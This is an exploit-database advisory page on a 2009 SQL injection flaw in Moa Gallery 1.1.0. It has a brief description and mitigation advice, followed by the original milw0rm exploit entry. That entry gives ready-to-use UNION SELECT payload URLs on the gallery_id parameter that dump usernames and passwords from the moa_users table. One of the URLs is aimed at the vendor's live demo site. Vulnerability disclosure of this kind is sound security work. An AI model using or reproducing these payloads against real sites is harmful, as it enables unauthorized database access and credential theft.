Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

vendor:

Moa Gallery

by:

Mr.tro0oqy

CVSS

HIGH

SQL Injection

CWE

Product Name: Moa Gallery

Affected Version From: 1.1.0

Affected Version To: 1.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:moagallery:moa_gallery:1.1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

A remote SQL injection vulnerability exists in Moa gallery 1.1.0. An attacker can send a specially crafted HTTP request to the vulnerable application in order to execute arbitrary SQL commands in the back-end database. This can be exploited to manipulate data, disclose sensitive information, or gain access to the system.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use the least privileged account with access to the database.

Source

Exploit-DB raw data:

======================================================================
[Â»] Script : Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

[Â»] Language : php  

[Â»] Download : http://sourceforge.net/projects/moagallery/

[Â»] Script site : http://www.moagallery.net/

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

http://www.xxx.com/path/index.php?action=gallery_view&gallery_id=-0000000009+union+select+concat(name,char(58),password)+from+moa_users--

--------
demo:
--------

http://www.moagallery.net/demo/index.php?action=gallery_view&gallery_id=-0000000609+union+select+concat%28name,char%2858%29,password%29+from+moa_users--

# milw0rm.com [2009-08-24]